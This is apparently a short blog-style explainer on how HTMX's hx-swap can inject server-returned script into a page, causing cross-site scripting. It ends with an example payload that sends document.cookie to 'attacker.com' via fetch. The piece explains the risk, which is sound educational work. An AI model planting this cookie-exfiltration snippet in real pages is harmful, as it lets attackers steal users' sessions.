About HTMX XSS Vulnerability

Maybe you’ve heard about the new framework which is called HTMX. It uses HTML attributes to add interactivity to the app, hence using no JS. For example, HTMX can use attributes to fetch data, giving the posibility for any element to make HTTP requests. You can customize how the retrieved data should be used(replace inner/outerHTML etc.)

<button hx-get="/clicked" hx-swap="outerHTML">
    Click Me
</button>

This piece of code may look inoffensive, but let’s look on the server part.

// ...
const app = express();
express.get('/clicked', (req, res) => {
    res.send('<script>alert("You got haxxed")</script>');
})
// ...

So, when the button is clicked, it replaces the outerHTML with a script that gets executed. An alert may not look very intimidating, but it can steal your cookies. For example:

fetch('https://attacker.com', {
    method: "POST",
    body: document.cookie,
  	mode: "cors"
})